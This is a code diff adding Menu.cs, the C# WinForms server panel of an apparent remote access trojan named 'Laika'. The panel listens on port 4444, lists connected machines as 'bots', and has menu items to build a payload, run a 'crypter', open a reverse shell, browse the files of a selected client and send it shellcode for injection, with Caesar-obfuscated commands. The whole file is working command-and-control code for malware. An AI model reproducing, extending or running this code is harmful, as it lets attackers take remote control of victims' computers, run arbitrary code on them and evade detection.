add: GUI Server

Server/Menu.cs

@@ -0,0 +1,234 @@
+using System;
+using System.IO;
+using System.Collections.Generic;
+using System.ComponentModel;
+using System.Data;
+using System.Drawing;
+using System.Linq;
+using System.Net.Sockets;
+using System.Net;
+using System.Text;
+using System.Threading.Tasks;
+using System.Windows.Forms;
+using System.Threading;
+
+namespace Server
+{
+    public partial class Menu : Form
+    {
+        public Menu()
+        {
+            InitializeComponent();
+        }
+
+        public static TcpListener server;
+        public static int CLIENT_ID;
+        public static List<TcpClient> CONNECT_CLIENTS = new List<TcpClient>();
+        public static void ServerStart()
+        {
+            string localIPAddress = "192.168.56.1";//Dns.GetHostEntry(Dns.GetHostName()).AddressList[0].ToString();
+            int port = 4444;
+            server = new TcpListener(System.Net.IPAddress.Parse(localIPAddress), port);
+            server.Start();
+        }
+        public static void ServerStop()
+        {
+            server.Stop();
+        }
+        public void on_new_client()
+        {
+            while (true)
+            {
+                TcpClient client;
+                try
+                {
+                    client = server.AcceptTcpClient();
+                }
+                catch
+                {
+                    continue;
+                }
+                client.Client.Blocking = false;
+                for (int i = 0; i < dataGridView1.Rows.Count; i++)
+                {
+                    if (dataGridView1.Rows[i].Cells[1].Value.ToString() == client.Client.RemoteEndPoint.ToString().Split(':')[0])
+                    {
+                        client.Close();
+                        client = null;
+                    }
+                }
+                if (client == null)
+                    continue;
+                this.Invoke((MethodInvoker)delegate
+                {
+                    dataGridView1.Rows.Add(new object[] { CONNECT_CLIENTS.Count, client.Client.RemoteEndPoint.ToString().Split(':')[0]});
+                    dataGridView1.Update();
+                });
+                lock (CONNECT_CLIENTS)
+                {
+                    CONNECT_CLIENTS.Add(client);
+                }
+                try
+                {
+                    this.Text = "Laika - Server | " + CONNECT_CLIENTS.Count.ToString() + " bots";
+                }
+                catch { }
+                Console.WriteLine("New client connected");
+            }
+        }
+        public void on_close_socket()
+        {
+            while (true)
+            {
+                lock (CONNECT_CLIENTS)
+                {
+                    for (int i = 0; i < CONNECT_CLIENTS.Count; i++)
+                    {
+                        TcpClient client = CONNECT_CLIENTS[i];
+                        if (i == FileExplorer.CLIENT_ID)
+                            continue;
+                        try
+                        {
+                            if (client.Client.Poll(1, SelectMode.SelectRead) && client.Client.Available == 0)
+                            {
+                                CONNECT_CLIENTS.RemoveAt(i);
+
+                                this.Invoke((MethodInvoker)delegate
+                                {
+                                    dataGridView1.Rows.RemoveAt(i);
+                                    dataGridView1.Update();
+                                });
+
+                                i--;
+                                try
+                                {
+                                    this.Text = "Laika - Server | " + CONNECT_CLIENTS.Count.ToString() + " bots";
+                                }
+                                catch { }
+                                Console.WriteLine("Client disconnected");
+                            }
+                        }
+                        catch (SocketException)
+                        {
+                            CONNECT_CLIENTS.RemoveAt(i);
+
+                            this.Invoke((MethodInvoker)delegate
+                            {
+                                dataGridView1.Rows.RemoveAt(i);
+                                dataGridView1.Update();
+                            });
+
+                            i--;
+                            try
+                            {
+                                this.Text = "Laika - Server | " + CONNECT_CLIENTS.Count.ToString() + " bots";
+                            }
+                            catch { }
+                        }
+                    }
+                }
+                Thread.Sleep(100);
+            }
+        }
+        private void Form1_Load(object sender, EventArgs e)
+        {
+            dataGridView1.ClearSelection();
+        }
+
+        private void toolStripMenuItem1_Click(object sender, EventArgs e)
+        {
+
+        }
+
+        private void dataGridView1_CellContentClick(object sender, DataGridViewCellEventArgs e)
+        {
+
+        }
+
+        private void exitToolStripMenuItem_Click(object sender, EventArgs e)
+        {
+            Application.Exit();
+        }
+
+        private void BuildPayloadToolStripMenuItem_Click(object sender, EventArgs e)
+        {
+            BuildMenu menu = new BuildMenu();
+
+            menu.Show(this);
+        }
+
+        private void StartPatateCrypterToolStripMenuItem_Click(object sender, EventArgs e)
+        {
+
+        }
+
+        private void dataGridView1_CellMouseClick(object sender, DataGridViewCellMouseEventArgs e)
+        {
+            if (e.Button == MouseButtons.Right && e.RowIndex >= 0 && e.ColumnIndex >= 0)
+            {
+                dataGridView1.CurrentCell = dataGridView1.Rows[e.RowIndex].Cells[e.ColumnIndex];
+                CLIENT_ID = dataGridView1.CurrentRow.Index;
+
+                contextMenuStrip1.Show(Cursor.Position);
+            }
+        }
+        private void ReverseShellToolStripMenuItem_Click(object sender, EventArgs e)
+        {
+            if (FileExplorer.OPENED == false)
+                Shell.StartShell();
+        }
+
+        private void fileExplorerToolStripMenuItem_Click(object sender, EventArgs e)
+        {
+            if (Shell.OPENED == false)
+            {
+                FileExplorer fex = new FileExplorer();
+
+                fex.Show(this);
+            }
+        }
+
+        private void ExecuteShellcodeToolStripMenuItem_Click(object sender, EventArgs e)
+        {
+            OpenFileDialog openFileDialog = new OpenFileDialog
+            {
+                Filter = "Binary files (*.bin)|*.bin",
+                Title = "Select your shellcode"
+            };
+
+            if (openFileDialog.ShowDialog() != DialogResult.OK)
+                return;
+
+            string filePath = openFileDialog.FileName;
+            TcpClient c = CONNECT_CLIENTS[dataGridView1.CurrentRow.Index];
+            c.ReceiveTimeout = 10000;
+            c.Client.Blocking = true;
+
+            try
+            {
+                NetworkStream stream = c.GetStream();
+
+                byte[] Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR("inject"));
+                stream.Write(Message, 0, Message.Length);
+                Message = System.Text.Encoding.UTF8.GetBytes(Utils.CAESAR("32"));
+                stream.Write(Message, 0, Message.Length);
+
+                byte[] fileContent = File.ReadAllBytes(filePath);
+                stream.Write(fileContent, 0, fileContent.Length);
+
+                byte[] buffer = new byte[5];
+                int bytesRead;
+
+                bytesRead = stream.Read(buffer, 0, buffer.Length);
+                string receivedData = System.Text.Encoding.UTF8.GetString(buffer, 0, bytesRead);
+                MessageBox.Show(receivedData);
+            }
+            catch
+            {
+                MessageBox.Show("Client timed out.");
+            }
+
+            c.Client.Blocking = false;
+        }
+    }
+}